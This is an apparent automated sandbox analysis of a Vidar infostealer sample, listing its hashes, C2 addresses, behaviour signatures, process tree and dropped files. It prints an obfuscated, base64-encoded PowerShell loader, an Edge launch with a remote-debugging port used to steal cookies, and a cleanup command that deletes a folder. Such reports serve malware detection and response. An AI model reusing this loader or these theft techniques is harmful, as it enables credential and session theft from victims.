Analysis

  • max time kernel
    130s
  • max time network
    125s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250619-en
  • resource tags

    arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    30/06/2025, 17:46

General

  • Target

    5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe

  • Size

    951KB

  • MD5

    600623ba27769989d981904debcc3774

  • SHA1

    08b03982c2c7fe5b35f1379bca1e8832cb294764

  • SHA256

    5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd

  • SHA512

    42ede2b6dd77ab72afa1449e5bc2710c74e586c1468126814787c0b7ad6bfe69f6c0c58cc7b212594d217146c47c89af4f890464f726648ca9f0ea648a739328

  • SSDEEP

    12288:G6yQn1ME0VKFY8eoVEaXltnHGsdCBh46dV51satxZ7YT928nIpSm8satxZ7YT92l:puE0Vsb8ImfhRsatx428Issatx428I

Malware Config

Extracted

Family

vidar

Version

14.4

Botnet

5838abba2c7ca0756153b41aab8534b5

C2

https://t.me/q0l0o

https://steamcommunity.com/profiles/76561199872233764

Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/137.0.0.0 Safari/537.36 OPR/122.0.0.0

Signatures

  • Detect Vidar Stealer 39 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Vidar family
  • Uses browser remote debugging 2 TTPs 3 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 27 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe
    "C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4196
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4216
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:5064
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd85b3dcf8,0x7ffd85b3dd04,0x7ffd85b3dd10
          4⤵
            PID:5060
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1928,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=1924 /prefetch:2
            4⤵
              PID:4376
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1428,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2200 /prefetch:11
              4⤵
                PID:5092
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2360,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3044 /prefetch:13
                4⤵
                  PID:5956
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2940,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3076 /prefetch:1
                  4⤵
                    PID:4508
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2932,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3064 /prefetch:1
                    4⤵
                      PID:4532
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4032,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4052 /prefetch:9
                      4⤵
                        PID:4884
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4536,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4596 /prefetch:1
                        4⤵
                          PID:1104
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4728,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5112 /prefetch:14
                          4⤵
                            PID:1716
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5256,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5420 /prefetch:14
                            4⤵
                              PID:4408
                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                            C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JAB7ADAAeAAxAGEAMgBiADMAYwB9AD0AWwBTAHkAcwB0AGUAbQAuAFIAYQBuAGQAbwBtAF0AOgA6AG4AZQB3ACgAKQA7ACQAewAwAHgANABkADUAZQA2AGYAfQA9ACYAKABbAGMAaABhAHIAWwBdAF0AKAA3ADEALAAxADAAMQAsADEAMQA2ACwANAA1ACwANgA4ACwAOQA3ACwAMQAxADYALAAxADAAMQApAC0AagBvAGkAbgAnACcAKQA6ADoAbgBlAHcAKAApADsAJAB7ADAAeAA3AGcAOABoADkAaQB9AD0AJABuAHUAbABsADsAJAB7ADAAeABqADAAawAxAGwAMgB9AD0AQAAoACkAOwAkAHsAMAB4AG0AMwBuADQAbwA1AH0APQAoAFsAYwBoAGEAcgBbAF0AXQAoADEAMQAxACwAOQA4ACwAOQA5ACwAOQA3ACwAMQAxADYALAAxADAANQAsADEAMQAxACwAMQAxADAAKQAtAGoAbwBpAG4AJwAnACkAOwAkAHsAMAB4AHAANgBxADcAcgA4AH0APQAxAC4ALgAxADAAfAAmACgAWwBjAGgAYQByAFsAXQBdACgANwAwACwAMQAxADEALAAxADEANAAsADYAOQAsADkANwAsADkAOQAsADEAMAA0ACwANAA1ACwANwA5ACwAOQA4ACwAMQAwADYALAAxADAAMQAsADkAOQAsADEAMQA2ACkALQBqAG8AaQBuACcAJwApAHsAJAB7ADAAeAAxAGEAMgBiADMAYwB9AC4ATgBlAHgAdAAoACkAfQA7ACQAewAwAHgAcwA5AHQAMAB1ADEAfQA9ACYAKABbAGMAaABhAHIAWwBdAF0AKAA3ADEALAAxADAAMQAsADEAMQA2ACwANAA1ACwAOAAwACwAMQAxADQALAAxADEAMQAsADkAOQAsADEAMAAxACwAMQAxADUALAAxADEANQApAC0AagBvAGkAbgAnACcAKQB8ACYAKABbAGMAaABhAHIAWwBdAF0AKAA4ADMALAAxADAAMQAsADEAMAA4ACwAMQAwADEALAA5ADkALAAxADEANgAsADQANQAsADcAOQAsADkAOAAsADEAMAA2ACwAMQAwADEALAA5ADkALAAxADEANgApAC0AagBvAGkAbgAnACcAKQAtAEYAaQByAHMAdAAgADMAOwAkAHsAMAB4AHYAMgB3ADMAeAA0AH0APQBbAFMAeQBzAHQAZQBtAC4ARwBDAF0AOgA6AEcAZQB0AFQAbwB0AGEAbABNAGUAbQBvAHIAeQAoACQAZgBhAGwAcwBlACkAOwAkAHsAMAB4AHkANQB6ADYAYQA3AH0APQAoAFsAYwBoAGEAcgBbAF0AXQAoADEAMAA5ACwAMQAxADEALAAxADEANAAsADEAMAAxACwAMQAwADYALAAxADEANwAsADEAMQAwACwAMQAwADcAKQAtAGoAbwBpAG4AJwAnACkAOwAkAHsAMAB4AGIAOABjADkAZAAwAGUAMQB9AD0AQAB7AGYAYQBrAGUAPQAnAGQAYQB0AGEAJwA7AG0AbwByAGUAPQAnAHMAdAB1AGYAZgAnAH0AOwAkAGEAPQA1ADAANgA0ADsAJABiAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADcARQAzADgALgB0AG0AcAAnADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAbgBFAHcALQBvAEIAagBFAEMAVAAgAHMAeQBzAHQARQBtAC4ASQBvAC4AQwBvAG0AUABSAEUAUwBzAEkATwBuAC4ARABFAGYAbABhAFQAZQBzAFQAUgBFAGEATQAoAFsAaQBPAC4AbQBlAE0ATwBSAHkAcwB0AFIARQBhAE0AXQBbAGMATwBuAHYARQByAHQAXQA6ADoAZgByAG8ATQBCAEEAUwBFADYANABzAHQAcgBpAG4ARwAoACcAcgBWAFgAZgBiADkAbwB3AEUASAA3AFAAWAArAEUAeABIAGgATABKAG8AQQB6AFEAZgBoAFIARgBLAGcAMwB0AFYAcQBuAFQATwBtAEIAYgBWADgAUwBEAFMAUQA0AFMAegBiAEUAagB4ADQARwB3AHcAdgA4ACsASgB6AEUAdABhAGIATwBwAFYAUABNAEQAdgBvAHQAOQA5ADkAMwBIAGQAeQBlAC8AUgBqADkAWABxADYAKwBMAFcAKwBxAHYAUAByAHcAegBtAG8AawBrAFEAawA3AEMAQwBKAEMARABQAG8ASgBzAEQAWQBrAEUAdwArAGYAbwB6AGsAQgBxAE4AYgAxAFUAQwBHAEIAUABMAGgAUgBuAFEARQBtAGMAZwBLACsAKwBtADUAVgA3AEwAZgBTAFEAMQBXAHAAUAB1AEMAUgAwAEQAQgA1AG4AZgBtAEwAcwAwAEQAbwBJAEsAYQBpAEEAZgBYAEMATABTAHQAUwAxAEQARwBQAGcAKwA2ADMASgBKAGwAYgBSACsAZQA4AFEARgBpAEUATABaAGMAZwBaAE8AbQAwAFkAYQBSAEsAeQBKAFIAcAB2AEUAZwBsAFIALwA5AEIAcABqADEASQBtAEYAVQByADcAawBrAGsAUQBQAEIANgBEAFcASQBVAGUASgBIADAAagBUAHUAYwAwADkASgBCAEgAUwBaAEsAZwBtADUASwBNAEsAaQBHAFIASwBBADIAWgBSAEEAUABIAHoAbQB6AGIANwB1AEMAegAzAE8AagBaAE4AbgBiAEwATAArAC8AeABzAEQAQQA2AE4AagA0AHYAagBEAGQAMgB2AHcAaQBlAEQAaQBtADkAagBHAEkAdQBwAE4AbgA0AEIAWQBJAEIANwBYAFkAYQAxAGsAdwBSAGwAUQBvAEgATQBvAFgAUABrAEMAcgBqAFcAZwByADAASgBRAFoAMgBMAGIAZwBxAEoARABFAEwAdQBBAHoAUABPAGEAZABvAGcAdwB2AHYAdAAzAFYARQB5AGkATABRAHAAVAB5AEIAVAA0AFQANQBGAEUAeQBOAGsAVgBuAEgAMQAvAFUAOQBGAEQASQBsAGQARQBBAHAAOQA4ADYAegArADAAeABZAEcALwB2AHkAeQBvADIAVQAyAC8AegBvAFkAbgArAEkAVQBJAEsAbQAvAHgAawBpAEwAagBZADEAUwBQAE8ATgBoAE8AbgBzAEEAWQB1AG4AVwBwAG4AagA4AFQAUQByAGgAUwBqAEIAawA3AFcAOAB2AG0AbgByAGYAOABCAGQAMABEAFEASgBMAGwAVQBuAGkAZABUAEwARwA5AFEAbABYAGcARAAvAHcAbgB5AEIAVQBLADQAQQBOAFcAVQBqADkAZQBkAEoAbQBBAFQASwA4AGYAOAB1AGwAdgBiAEoAMwBwAGkAWABCADkANwBlADkAegBXACsAbgBnAGkATgBWADEAQQBaAGwAZAAwAFoANwA5AFgAdwByAFgASgBRADgAcQBXAGoAQQArAGUAdwBtAFEAZgBiAHMANgAyADcASABXADcAUAA4AFkATABRAEIASABDAHMAYwArAGMAcgBYAEoAaQBCADQANQBSAGgANwBWAHMAMQBqAFoAWQBBAG0AUwBwAE8AeABkAFgAKwA0ADgAUwBSADgANgBnAGIAQQAzAHcAUQBpADQAdgBLAEwATAA5ADkAQgBXAHcAcABBADIAeABuAFgAVABXAGMAVwB6AHYAcgBxAEUAMQA1AFAAYgB1AEsASABGAFcAUgA3AHcANABIAEoAcgBEADYAbABVAHAAMgA5ADQARQBGAGUAOQA1AFgAOABhACsAZQBOAEYARwBBAEkAMgB4AHEARABRAC8AcgA2AE4AbABGADgAMwBEAHIASwBKAEIAMQBBAFYASQB6AEcAVABtAE0ALwA1AGgAdABEAHIAQgArAE4AawBDAGUAdQBiADQAcABhAHoAawA4AE8ANgA4AFcAUwBqAG8AMQAzAFYAZwBWAHkAMQBZADQAVgBmADkAUQBqAEkAcABRADgAawBWAEMAMQBkADkAUwBaAEgAVgBmADcAWQB5AGQAMABUAGgARgByAFMAdgBDAGwAaQBsAFoAQQBuAEwASABBAFIARwB4ADAAZgBTAGQAcQBjAHYAWgBDAG8AUwBjAG4AWgB4AGMAQwBCADYAZABrAFEAVABlADkAcwBaAFMAcQBFAGYARQBOAFAAUAAzAFQASgAxAEwAOQBYAEsAaAAxAG8AaQBzAFUAWABOAHUAVwBjAGIAMABSAGwAMABlAG0AZABOAGMAbABHADUAbgAxAGkAUwA0ADYAVgB0AC8AQQBBAD0APQAnACkALABbAHMAeQBTAFQAZQBNAC4ASQBvAC4AQwBPAG0AUAByAGUAUwBzAGkATwBOAC4AYwBPAG0AcAByAGUAUwBTAGkATwBOAE0AbwBkAGUAXQA6ADoAZABFAEMAbwBtAHAAcgBlAFMAUwApAHwAJQB7AG4ARQB3AC0AbwBCAGoARQBDAFQAIABJAE8ALgBzAHQAUgBlAGEAbQByAGUAYQBkAEUAUgAoACQAXwAsAFsAUwBZAFMAVABlAG0ALgBUAGUAeAB0AC4AZQBuAGMAbwBEAGkATgBHAF0AOgA6AEEAcwBjAGkASQApAH0AfAAlAHsAJABfAC4AUgBlAGEARABUAE8AZQBOAGQAKAApAH0AKQAgAA==
                            3⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5032
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aw4f5ufg\aw4f5ufg.cmdline"
                              4⤵
                                PID:4628
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F40.tmp" "c:\Users\Admin\AppData\Local\Temp\aw4f5ufg\CSCA182C6B590C24306A89C75F459F6FB14.TMP"
                                  5⤵
                                    PID:5796
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                3⤵
                                • Uses browser remote debugging
                                • Drops file in Windows directory
                                • Enumerates system info in registry
                                • Modifies data under HKEY_USERS
                                • Modifies registry class
                                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                • Suspicious use of FindShellTrayWindow
                                PID:3360
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x250,0x7ffd77aff208,0x7ffd77aff214,0x7ffd77aff220
                                  4⤵
                                    PID:4548
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1836,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=2224 /prefetch:11
                                    4⤵
                                      PID:964
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1964,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=1744 /prefetch:2
                                      4⤵
                                        PID:1064
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1924,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:13
                                        4⤵
                                          PID:5360
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3448,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
                                          4⤵
                                          • Uses browser remote debugging
                                          PID:1740
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3456,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
                                          4⤵
                                          • Uses browser remote debugging
                                          PID:5976
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4564,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=5016 /prefetch:14
                                          4⤵
                                            PID:5540
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4980,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:14
                                            4⤵
                                              PID:1500
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6108,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:14
                                              4⤵
                                                PID:2092
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6336,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14
                                                4⤵
                                                  PID:8
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6336,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14
                                                  4⤵
                                                    PID:4932
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6412,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:14
                                                    4⤵
                                                      PID:6036
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
                                                        cookie_exporter.exe --cookie-json=1132
                                                        5⤵
                                                          PID:3600
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6128,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6232 /prefetch:14
                                                        4⤵
                                                          PID:4748
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
                                                            cookie_exporter.exe --cookie-json=592
                                                            5⤵
                                                              PID:2272
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\ec2v3" & exit
                                                          3⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:4860
                                                          • C:\Windows\SysWOW64\timeout.exe
                                                            timeout /t 11
                                                            4⤵
                                                            • System Location Discovery: System Language Discovery
                                                            • Delays execution with timeout.exe
                                                            PID:436
                                                    • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                      "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                      1⤵
                                                        PID:4436
                                                      • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                        "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                        1⤵
                                                          PID:5376
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                          1⤵
                                                            PID:2256
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                            1⤵
                                                              PID:2992

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                                                                    Filesize

                                                                    2B

                                                                    MD5

                                                                    d751713988987e9331980363e24189ce

                                                                    SHA1

                                                                    97d170e1550eee4afc0af065b78cda302a97674c

                                                                    SHA256

                                                                    4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                                                    SHA512

                                                                    b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                                                    Filesize

                                                                    83KB

                                                                    MD5

                                                                    37ff0bd280e8ab126f3d6ede0b9d3305

                                                                    SHA1

                                                                    84b8e9a1b85695d13592eb93f3c6e9b7762947bd

                                                                    SHA256

                                                                    40cf43e81b85f3c78c87c90d43e9f96c538dca47a03c9689e4622ca9b4bacaff

                                                                    SHA512

                                                                    7723049fc8ed3890c592aa15bb0631f692b7ff2a09d5a0049414a9d6d1e5e55f33cf382efb31175af16a48b32aaf02638d7204b8200cd1f80f07c7efc7a2a148

                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                    Filesize

                                                                    280B

                                                                    MD5

                                                                    b64b527f9034d65977b9a710f4f24fb5

                                                                    SHA1

                                                                    f1bd7ff7bd9bd8e9323ba78b5d598c5d5c66cc0d

                                                                    SHA256

                                                                    3c806fb8165617a963ff477113ed4764314a3a95dec5636fbfe43e77a8ae94ff

                                                                    SHA512

                                                                    df7dbe112066c831c2bc1ea38d0e826a5fb632542ce27203a4cac5491b132766dd758dc700f0e3f07b43de27b5a9e329d084a61cb3ffe747d926d6268d036298

                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

                                                                    Filesize

                                                                    2B

                                                                    MD5

